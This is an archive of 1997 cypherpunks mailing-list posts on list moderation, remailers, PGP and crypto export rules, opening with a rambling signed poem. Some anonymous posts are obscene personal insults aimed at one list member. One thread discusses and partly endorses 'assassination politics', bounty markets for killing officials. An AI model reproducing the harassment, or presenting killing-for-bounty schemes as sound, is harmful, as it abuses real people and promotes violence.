manual and cypherpunks messages and government stuff and stuff
by my dead uncle who is dead because of what he wrote about
the guys who started the internet in the first place. (Their not
good guys.)

I like you guys. 
Dont bend over for the lamers.
Dont start to cry.
Just keep on being flamers.
   Bitch and shout.
   Dont worry about the schisms.
   And dont let the Fascists take
   Your algorithms.
Lamers come and go
So dont worry bout their junk
Anarchists have <Delete> keys
They're Immortal CypherPunks.

I have to go get killed now.

Human Gus-Peter
grandson of gomez





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 5 Feb 1997 13:18:57 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: what's in a name?
Message-ID: <199702052118.NAA26907@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles <gbroiles@netbox.com> writes:
> Wei Dai's message raises an important question: what is the relationship
> between ownership and list content or quality? 

I'll assert that ownership can only have a negative impact on
content. Freedom is preferable to bias, and hence loss of freedom
can only hurt content...according to -my- standard of content anyway.

> Are mailing lists an example of a situation where "the tragedy of the
> commons" is not a useful metaphor? 

Yes. Such analogies assume that common people create tragedy, which 
is only true if their leaders have designed things to work that way.

> Is the desire for an anarchic community at odds with a desire for
> good use of resources?

The network resources are there to handle email traffic. Attempting
to place a non-technical content-based standard on the usage of
resources invites censorship and leads to stagnation of ideas.

If people would simply learn to filter what they don't like from their
net.viewport, there would not be a perceived problem.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Nasrudin arrived at an all-comers horse race mounted on the slowest of oxen.
Everyone laughed, an ox cannot run. 
"But I have seen it, when it was only a calf, running faster than a horse.",
said Nasrudin. "So why should it not run faster, now that it is larger?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Wed, 5 Feb 1997 10:39:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702051820.NAA02283@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


May Timmy May's forgeries get stuck up his ass so he'll have to shit 
through his filthy mouth for the rest of its miserable life.

       |||||||||||
        \~0/ \0~/
        <  (0)  >
   --oOO--/|||\--OOo- Timmy May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 5 Feb 1997 10:51:14 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Silly Americans
In-Reply-To: <199702051527.HAA28821@toad.com>
Message-ID: <3.0.1.32.19970205134808.00918680@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


>At 09:37 PM 2/4/97 -0500, Rick Osborne wrote:
>>a philosophical note, why *do* we allow the government to regulate
>>algorithms?  (Implementations, I can understand, but *algorithms*?)

At 03:33 AM 2/5/97 -0800, Bill Stewart wrote:
>Because they're bigger than we are and better-armed?
Okay, I can accept that ...

>Because there's lots of money to be made by people patenting things?
This i have a little more trouble with ... Sure *one* company can make alot
of money, but *one* company making money doesn't stimulate the economy.

>Because big companies can use it to interfere with competition?
Once again, this is non- and even counter-productive.  Pure competition is
great, but if only one company has a product, there is *no* competition.

>Because it's good for the economy because it encourages inventors
>of algorithms to publish them and make money by doing so?
No: many companies using the same algorithm with different implementations
is good for the economy.

It's like this: say that way back when the first electronic spreadsheet was
produced, someone patented it.  It then evolved into Excel.  Now, no one
else can do any kind of electronic spreadsheet, because Microsoft has the
rights.  There is no competetion and anyone who wants to use an electronic
spreadsheet has to use Excel.  This would be great for Microsoft, but
horrible for everyone else.  Lotus 1-2-3 would have never existed, etc,
etc, etc.

The constant chatter about the expiration of the Diffie patent proves my
point: if everyone was satisfied with what there was, then no one would be
gearing up to produce their own products.

Competition is a *good* thing.  You can't evolve without it ...
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Once a Junior Programmer interrupted a Great Guru of the Sun to ask a
Question of no importance. The Great Guru replied in words which the
Junior Programmer did not understand. The Junior Programmer sought to
rephrase the Question, saying, "Stop me if I appear stupid." The great
Guru, without speaking, reached over and pressed L1-A. The Junior
Programmer achieved Enlightenment.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 5 Feb 1997 10:53:37 -0800 (PST)
To: Anil Das <cypherpunks@toad.com
Subject: Re: AltaVista Tunnel
In-Reply-To: <199702051525.HAA28716@toad.com>
Message-ID: <3.0.1.32.19970205135222.00918260@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:48 AM 2/5/97 -0800, Anil Das wrote:
>I should be happy that you are bashing a competitor and all, but give
>them a break, OK? The marketing dweeb who has to do product pitches
>on roadshows is not the same as the design engineer who designs the
>system and sets technical standards. There can be a big difference in
>technical knowledge about the product, and even basic competency,
>between the two.

Oh, I understand that.  But I do expect at least a *tiny* bit of knowledge
on the product by said marketers.  I mean,  the entire base of PPTP is
crypto.  It's like trying to explain a word processor without knowing what
a paragraph is.  When I went to the networks guys, they answered every one
of my questions about the routers, packet sniffing, etc. without
hesitation.  The nice lady with the .5TB RAID array was just as competent.
The only person in that entire truck that couldn't answer my questions was
this one guy.  It just goes back to the old thread of "why don't people
know about crypto?"
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
If it's broke, send it back.  If it works, take it apart and find out
why.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed.Falk@Eng.Sun.COM (Ed Falk)
Date: Wed, 5 Feb 1997 14:17:39 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: Re: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
Message-ID: <199702052216.OAA29244@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Hi all; if anybody's interested in having a PGP key-signing party
at this event, I'd be willing to organize one.

If interested, send me your key (or a pointer to where I can download
it), and let me know what times are good for you for the party.

	-ed falk
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBMvkGtzLd6HIbO1jdAQGZFQH9GNbQCwSS09YuPrC9jg43A9NiusV18sdM
66MKMVxIYYi2EstThJVWN8NLYCIGCgOiJnnIJ4ZgkbnAwY9zmZviVw==
=4etp
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matts Kallioniemi <matts@cyberpass.net>
Date: Wed, 5 Feb 1997 05:53:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702050742.XAA18657@toad.com>
Message-ID: <3.0.1.32.19970205142023.00922350@localhost>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Jeremiah A Blatz wrote:
>On the choke points note, mailing lists are better than usenet because
>legendary AOLers with there 5 free hours of fame and their ilk usually
>don't figure out how to pester mailing lists. Being on a mailing list
>usually requires a commitment, that is enough of a barrier for many of
>the usenet underirables.

Another way to get rid of the totally clueless and involuntary subscribers
would be to require subscription requests to be PGP signed and acknowledged
by the subscriber.

Matts

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMviI5xVFhWUyiUQRAQFdEwf/ZI2WW/2OVKq4xdwmsPNzCP3yJj7NfsOP
JSBegY21WX/Oa+gT/Zmo5lrOh9wWQlF2OpFlzggvBef1Vm5qidge5dRqSxmUPipc
5/HZFK1KxQI5uLjC7pZo5pMfjIroPYI4pldfYP2fjn3qo82sg8IWEn1FSH3b5iEE
qrL71rWmG3ekx7qDMvZPGKrjwi7XNJlKUT7qIjQaR25sg3U4KsntV5FZ+Iof6FRz
cFX0G2bQ5r1tE/QIqrMm94cD27KNFshSArBFgTqNqqCJtym2v+oOtiCpm8uqirlB
oREDHaIs7pJyUA3VkdQnVwKbN+c/Ln9nBAZ9V0BGBg4rZMp/rDRo+Q==
=YOIl
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Wed, 5 Feb 1997 12:26:10 -0800 (PST)
To: Remailer Operators <cypherpunks@toad.com>
Subject: New type2.list/pubring.mix
Message-ID: <Pine.NEB.3.93.970205141959.23163B-100000@alpha>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hello Everyone,

	I've just updated the type2.list/pubring.mix combination on
jpunix.com to reflect the retirement of rebma. The files are available by
anonymous FTP from ftp.jpunix.com as well as by WWW from www.jpunix.com.

	Additionally, the files are now available by IRC (EFnet) by
accessing the rops bot on #remailop. Just send a /msg rops hello so rops
will recognize you. You can then do a /dcc chat rops, go to the file area
and then do a /dcc get. 

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvjs0lOTpEThrthvAQHrnQP8CRmcUbp5fndiFyfTdDXmmMYNHj7wteBG
8S9kw1J9TnDpjaXI5fy+OXzX7UthDjO5HznmBjx/iv4ozZ6d5SnNiKFyRGSok3lB
+o6EovbYtp1fUZ7JzDF/0fqCn5vs/v5LetIDYSNrAjz6utiFk0/Lfh9VQyu/FlJq
+R4+H/UC+bw=
=qlqM
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Wed, 5 Feb 1997 12:32:04 -0800 (PST)
To: Mixmaster Mailing List <raph@alpha.jpunix.com
Subject: Sorry!!
Message-ID: <Pine.NEB.3.93.970205143026.23163C-100000@alpha>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I apologize for 3 copies of the same message. I was having some problems
with premail. I'll try not to let it happen again.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvjuN1OTpEThrthvAQHZmgQAkp1pN5S/NV/8Bg17kiQXKBM59y+bmMEx
XkkEPQlVYCPrE6z+t+QRx93DQS3HVwAE8x5tvP9fkvnWGJxuyMMkBeJv+ru2kDUg
dDxo8+C+TsQ6jQ+B7OQWg4EcaC9vpQNPYQLEYpI5UjgXrpYLtilcfeGzvYqSDXmN
8+xvb184UfE=
=sSG7
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 5 Feb 1997 08:12:00 -0800 (PST)
To: jim bell <cypherpunks@toad.com>
Subject: Re: John's: In anarchy -everyone responsible
In-Reply-To: <199702050744.XAA24946@mail.pacifier.com>
Message-ID: <199702051611.JAA25482@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970204:2343 jim bell <jimbell@pacifier.com> said:

+At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:

+>        In a "popular" anarchy, Jim Bell's assassination politics make
+>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

+I guess I don't understand the distinction you are trying to make,
+between a  "popular anarchy" and an "anarchy."    Maybe you were trying
+to distinguish  between "dictatorship of the few (or one)" and
+"dictatorship of the many (perhaps a  majority)" but it didn't come out
+very understandably.

+Put simply, "anarchy is not the lack of order.  It is the lack of
+_orders_."

    disagree. pure anarchy is not the lack of "orders" --pure anarchy 
    implies that everyone is imbued with that perfect sense of 
    responsibility.

+>        anarchy is only possible in an ideal world where _everyone_ 
+>    assumes not only responsibility for themselves, but for the common 
+>    good.  no malice, no greed, no need for assassination politics....

+No, that's traditional thinking and that's wrong.  See AP part 8. 
+Freud  believed (as "everyone" else believed, even myself, before AP)
+that anarchy  was inherently unstable.  But it ISN'T, if the tools of
+AP are used to  stabilize it.  And no, no altruism is necessary for AP
+to work as well; no  individuals are being asked to sacrifice
+themselves for the common good.    Rather, they are given the
+opportunity to work to achieve a reward offered,  cumulatively, by a
+number of citizens.

    aah, but that is the difference between a _pure_ anarchy and a  
    _popular_ anarchy.  A pure _anarchy_ is sufficiently idealistic in 
    that _noone_ lacks the necessary resonsibility to keep society 
    moving, each individual in their own niche.  As long as there is 
    perfect responsibility in a perfect anarchy, then there is no need 
    for AP.

    AP is a negative, or _punative_, influence; I might liken it to the 
    Catholic Church which is a religion of fear, and an instrument of
    political control.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMvixAL04kQrCC2kFAQECsQQAlPSQRpEE2dAKkqrWSlPf79QhSBtYbjXa
rEyAlOrmi8NOxgyb8hGF/VwVkURUKnPr4gGJW9JvwuPB2x/AQeT11ZEQyVqeFGNF
0W6WR7yv3XsOT9UM6JCP9hFLWU33BumcPd26w8f/Z5mx87qEUoXeJD4ApLv5QNI3
WlyL0xDT1PM=
=sfD3
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Wed, 5 Feb 1997 17:28:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hash functions
Message-ID: <199702052256.OAA13660@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] Maya is the living proof that 
anal sex causes pregnancy.

 
  ()
   \--o
  .-\__.
 (      \_
  '-.-'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 15:20:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <32F8C86E.15FB@sgi.com>
Message-ID: <kg6N2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das <das@sgi.com> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Learn to use an anonymous remailer.
> 
> Thanks for the hint, Dr. Vulis. I have registered for a course, but
> seats are available only in fall.

Toilet seats in the state of free fall?

The stego on Sandy's moderated list blows my mind...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Wed, 5 Feb 1997 17:32:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mondex
Message-ID: <199702052306.PAA17408@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. Maypole's aberrant sexual life has negatively 
impacted his mental integrity.

     \|/
     @ @
-oOO-(_)-OOo- Timmy C. Maypole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 5 Feb 1997 16:35:56 -0800 (PST)
To: Andy Dustman <andy@CCMSD.chem.uga.edu>
Subject: Re: mail-to-news fun
In-Reply-To: <19970205054436.4083.qmail@anon.lcs.mit.edu>
Message-ID: <3.0.1.32.19970205163534.00612d98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>> Well, I'd really rather not do that.  I already have to deal with
>> abuse from nym.alias.net and mix@anon.lcs.mit.edu users.  

>All that being said, it might not be worth the effort to allow posting,
>since you're not actually doing the posting anyway. I've thought about 
>allowing posting again with a very restrictive newsgroup list 
>(only alt.anonymous.messages).

If I were going to restart a remailer, and to offer news posting,
I'd probably limit it to posting to moderated newsgroups only,
so a human can trash things that look like SPAM or abuse;
the abuse that caused me to kill my remailer wasn't something
a simple filter would catch.  (I'd also prefix each posting with a 
header about this message having been received from an anonymous source,
not verified, not guaranteed to be worth the electrons it's printed on,
probably not written by anybody whose name's at the bottom, etc....
People don't read mail headers or disclaimers at the bottom,
and putting disclaimers like that into message text for
email exposes the message to traffic analysis.)

Alt.anonymous.messages is an interesting alternative, but one of the 
ideals of posting news from a remailer is to allow people to 
broadcast politically incorrect speech anonymously, avoiding censorship
and retribution as much as possible.  This means letting people
call Lee Kwan Yew a fascist, complain that OJ's a space alien,
identify the person Hillary paid to off Vince Foster,
or proclaim that Hubbard's Ahmaddiyya Witnesses are the One True 
Religion -- Or post the One Page RSA+RC4 to the China newsgroups.

On the other hand, I don't want to support postings titled
"ALL FAGS MUST DIE" with a forged signature and email at the bottom,
and I especially don't want to post that from my remailer without
indicating that anything posted by a remailer might be forged.
That's why I shut down my previous remailer - the forger only
posted one forged message; the person whose name got forged
got flamed severely by dozens of people who objected to "her" posts.
Blocking the gay newsgroups cuts down on that kind of trolling,
but also cuts out the "Help, I might be gay and my parents will kill me"
traffic that remailers are supposed to help with.

On several other hands, though, even if you limit news posting,
trolls can abuse a remailer by sending email to large mailing lists.
It'd certainly never happen to Cypherpunks :-), but some other
mailing lists might attract trolls, and it's not easy to
identify them in advance (though I suppose adding a disclaimer
and cutmarks any time you post to something other than a 
known remailer is a partial solution.)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 16:35:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702060035.QAA07697@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:09 PM 2/4/97 -0800, jim bell wrote:
>At 08:15 PM 1/28/97 -0800, Steve Schear wrote:
>>>The poor can not hope to match the tyrants bid as they only have 10% of the
>>>wealth, the household knows that thier participation in an attempt on the
>>>tyrant will get them killed.  Even if the attempt was successful.
>>>The people from the outside who would benefit from the bounty benefit more
>>>by taking the tyrants offer and then trying again, i.e. tiger teams.
>>
>>I think a hole in your thinking is to assume that the assasins have no
>>motive other than financial gain.  I would submit that there are those that
>>have the skills, training and a political agenda coherent with the
>>wagerers, lacking only the financial incentive to make the risks
>>acceptable.  These wetworkers won't consider accepting the bribe of the
>>rich/powerful
...
>
>However, fortunately I don't think it would make any difference in the 
>overall effects.    While AP would eliminate the taxation which is commonly 
>thought of as the main way a "rich person" loses assets, in practice it 
>would also shut down the well-hidden systems that allow some people to get 
>rich (or, merely live off somebody else) "unfairly."   Government agents 
>come to mind, of course.
>
The money doesn't necessarily come from taxation, the owner of a business
takes a cut of whatever money is made even if that person is unproductive.
The tyrant would be the owner of the industry.  
If you are right then governments would effectively lose the ability to tax,
with or without representation, as most people do not agree on everything,
like how their money is spent.  However, even now, as pointed out in some
recent posts, our tax money is used to foreward the goals of a few, these
few want to eliminate guns, crypto, free speech, ect.  Although we are in
oppostition, our money is still used to foreward the goals.  Not unlike what
I heard about the U.S.S.R. in vietnam. The following is according to my
source.  When the Soviet Ambassitor to the U.N. was sick, thats when the aid
to vietnam could begin, as the U.S.S.R was not there to veto it.  Now the
U.S.S.R. was forced to aid both sides, those that were in agreement with
them politically, and the U.N., of which they were a member.  End of source
data.
Even those who oppose the taxes would be forced to pay as it would be the
army that would be collecting.  Then they could take the remaining monies
that they had to target the leaders, who would use the tax revinues to
protect themselves.  If more money was needed, nore taxes would be collected.
If it were a private corporation, the wages of the workers would be reduced
on occassion to pay for the different security systems of the owner.  
Additionally, under our current system, the assassin would have his day in
court, perhaps he could escape the government, making the cost-benefit
analysis skewed in favor of crime.  Under a system as proposed, the assassin
would be forced do deal with a more powerful curse.  Insurance companies
would be reconfigured to anonymously see to the death of whatever caused the
death of thier clients.  They would make money because if the death could be
ruled accidental, they would not have to pay.  If the person died of a heart
attack, and the food taster didn't, (the food taster would probably be the
cooks son by the way), then the bond that the tyrant had with the company
would be void.  The company would cash the check.  If the tyrant wanted to
insure h[is/er] survival, (s)he would take out several of these bonds, with
different companies, each with a signature amount to give to the executors
to check their loyalty.  If the company paying 1295065 dollars didn't pay
up, the executors would tell the world.
The idea is, where a layer can be subverted, duplicate the layer so that at
least one element is bound to work.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 5 Feb 1997 15:01:58 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <199702051701.JAA00962@toad.com>
Message-ID: <Pine.BSF.3.91.970205164716.2442C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote:

> Anil Das <das@sgi.com> writes:
> 
> > Adam Back wrote:
> > > 
> > > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > > 
> > 
> > I have only one objection. I will never post to an Usenet group
> > under my real email address for fear of ending up in spammer
> > databases.
> > 
> > -- 
> > Anil Das
> > 
> 
> Learn to use an anonymous remailer.
> 

Unfortunately, if everyone is posting from "nobody@thevoid" or such, we'd 
lose the "personalities" that make up the community. Why not use a "nym" 
account to post - one that is configured to discard all incoming email?

-r.w.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "P.J. Westerhof" <p.j.wester@ngi.nl>
Date: Wed, 5 Feb 1997 07:50:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <3.0.16.19970205155649.2e7fcfe2@popmail.rijnhaave.nl>
MIME-Version: 1.0
Content-Type: text/plain


At 18:12 4-02-97 -0800, you wrote:
>Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
>Crazy."  Computer science major, BTW.
>
He is quite a singer too (at least he was some years ago on Dutch TV).
Perhaps that made the difference.  ;-)

Gr.
Peter


_________________________________________________________

   P.J. Westerhof  LL.D                      
   e-mail           P.J.WESTER@NGI.NL     |        Computerlaw
   voice            +31-347-375400                |        Legal informatics
   fax/data        +31-347-375400                |        IT - consultancy
   Web:            www.ngi.nl/cr/                   |        Soaring
_________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 17:00:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More on Cellular Encryption Docs
Message-ID: <199702060100.RAA08114@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:39 AM 2/5/97 -0800, Bill Stewart wrote:
>>>>Here's more on the controlled documents for cellular encryption
>>>>from TIA/EIA we described in a 26 January post to cpunks:
>...
>>>Of course, ITAR as recently modified says it's ok to send this
>>>stuff overseas to foreigners, as long as it's on paper.
>>>There may be separate restrictions on sending it, or on copying,
>>>but they're based on copyright or contractual non-disclosure.
>>
>>Given that high-density inkjet printers can do 600x600 dpi resolution, it 
>>should be possible to achieve the equivalent of 100x100 bpi of 
>>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or 
>>100 kilobytes.   What does ITAR say about this?
>
>These are text, perhaps with occasional illustrations, so the current
>interim export rules say it's ok.
>
>For optically-scannable printed data, the government's announcement says 
>it reserves (somehow) its right (acquired in unspecified manner :-)
>to re-evaluate the exportability at a later time.  I think they
>haven't settled on whether they'd be more embarassed by banning it
>(which bans export of printed material, risking serious Constitutional
>challenges) or by not banning it (having people laugh at them while
>exporting source code or even binaries in OCR-A on loose-leaf paper
>with page numbers and checksums.) 
...
Let's not tempt them with something that the common person on the street
would consider computer media, I.E. punched cards and dataglyphs.  Remember
the old fonts that used to be everywhere?  The ones with the thickened
letters at key places?  Look at a check some time, that is the type of font
at the bottom, its designed to be readable by both man and machine.  Print
out the source code in one of those fonts and mail that.  This is not as
data intensive as the other way, but at least it can be argued that it can
be read by an unaided person.
That way, on the other end, the text can be scanned in directly, using a
modified form of check clearing software, and converted into electronic
media, sans errors.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark Voorhees" <mark@infolawalert.com>
Date: Wed, 5 Feb 1997 14:05:30 -0800 (PST)
To: "mclow@owl.csusm.edu>
Subject: Re: Deloitte-Touche?
Message-ID: <199702052204.RAA12059@york.interport.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997 10:45:30 -0800, Marshall Clow wrote:

>It wasn't really what he said that amazed me, because
>I had heard most of it (in bits and pieces) before. It
>was presenting it all in a package, in an emotional
>manner, by an elderly, conseratively dressed
>accountant who was representing a large
>corporation whose job it is to help people obey the
>government.


I'm almost certain that Murray is a consultant rather than
or in addition to an accountant. He's been saying these things
for years at conferences, in papers, on mailing lists, etc.

Mark






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 5 Feb 1997 14:11:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Edited Edupage, 4 February 1997
Message-ID: <01IF2BX0CENI9AN48B@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"educom@educom.unc.edu"  5-FEB-1997 01:10:14.09
To:	IN%"edupage@elanor.oit.unc.edu"  "EDUCOM Edupage Mailing List"

>************************************************************
>Edupage, 4 February 1997.  Edupage, a summary of news about information
>technology, is provided three times a week as a service by Educom, a
>Washington, D.C.-based consortium of leading colleges and universities
>seeking to transform education through the use of information technology.
>************************************************************

>GATES SAYS OLD LAWS ARE GOOD ENOUGH FOR THE NET
>Microsoft's Bill Gates:  "It's always surprising how old concepts carry over
>into the new medium.  It's overly idealistic to act like, Oh, the Internet
>is the one place where people should be able to do whatever they wish:
>present child pornography, do scams, libel people, steal copyrighted
>material.  Society's values have not changed fundamentally just because it's
>an Internet page.  Take copyright.  Sure, there should be some
>clarifications about copyright, but the old principles work surprisingly
>well in the new medium.  Anybody who says you have to start over -- I don't
>agree with that."  (George Feb 97)

	Looks like he hasn't thought about enforcement problems, which
may fortunately prevent the application of unnecessary laws to the 'net.

>CULTURE CLASHES ON THE INTERNET
>At a session of the World Economic Forum in Davos, Switzerland, the issue of
>censorship on the Internet was debated from East/West perspectives, with the
>Eastern view represented by such countries as Singapore, Iran, and Egypt.
>Denmark foreign minister Uffe Ellemann-Jensen said, "Whenever you want to
>stop the free flow of information, you must ask yourself what is possible.
>The usual answer from politicians is we need international rules.  I say,
>forget it.  It won't happen."  Iranian mathematics professor Mohammed
>Lasijani countered:  "In the west, the issue is sometimes how to globalise
>liberalism:  how to export an ideology.  I am not a liberal, and I do not
>believe liberalism is the only way to a decent life."  (Financial Times 4
>Feb 97)

	Well, yes, neither did Adolf Hitler. Sorry, cultural differences
won't wash; individual liberties are more important than culture or
national sovreignty.

>Edupage is written by John Gehl <gehl@educom.edu> & Suzanne Douglas
><douglas@educom.edu>.  Voice:  404-371-1853, Fax: 404-371-8057.

>Technical support is provided by Information Technology Services at the
>University of North Carolina at Chapel Hill.

>**********************************************************
>Edupage ... is what you've just finished reading.  To subscribe to Edupage:
>send mail to: listproc@educom.unc.edu with the message:  subscribe edupage
>Edgar Allan Poe (if your name is Edgar Allan Poe;  otherwise, substitute
>your own name).  To unsubscribe send a message to: listproc@educom.unc.edu
>with the message: unsubscribe edupage.   (If you have subscription problems,
>send mail to manager@educom.unc.edu.)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 5 Feb 1997 14:14:20 -0800 (PST)
To: mclow@owl.csusm.edu
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <01IF2C1D6QAA9AN48B@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"mclow@owl.csusm.edu"  "Marshall Clow"  5-FEB-1997 04:04:13.13

>At 4:05 PM -0800 2/4/97, aaron@herringn.com wrote:
>>
>>If I might make a suggestion:
>>
>>Some people want moderation. That's fine, I've never been very big on
>>letting other people choose what I read, but some people want it.
>>
>>For those who want it, let someone moderate the list for as long as
>>they care to do it. Approved messages get a "X-sandy-approved"
>>header. The responsibility for setting up a filter to toss everything
>>that doesn't have the header is the responsibility of the end user.
>>Toad will need to filter incoming posts to make sure they don't come
>>"pre-approved", but that's the only hole I can think of.
>>
>>Everyone gets all of the Cypherpunks list. Those who want moderation
>>filter the unapproved posts, those who want all of it get all of it.
>>
>>Hopefully, this will make (almost) everyone happy.
>>
>I like this idea.
>However, I would suggest an additional refinement:
>	Implement a cypherpunks-moderated list which
>is all the 'approved' messages. This way, people who wish
>to have the benefits of a filtered list are happy, people who
>wish to have posts rated for them (but be able to check on
>the "rater") are happy, and people who wish to see every
>message are happy.
>
>(I know that John has concerns about toad's mail capacity,
>and this may be too big a load)

	Lance's offer for informix to host the unmoderated
version of the list may be of assistance here.

>ObCrypto policy:
>	Was anyone else besides me amazed by the guy
>from Deloitte-Touche at the Internet Privacy Coalition luncheon
>last week? I mean, he all but advocated violent overthrow of
>the government. D-T is the most "establishment" of the big-6
>accounting firms, last time that I looked.

	What all did he have to say?
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
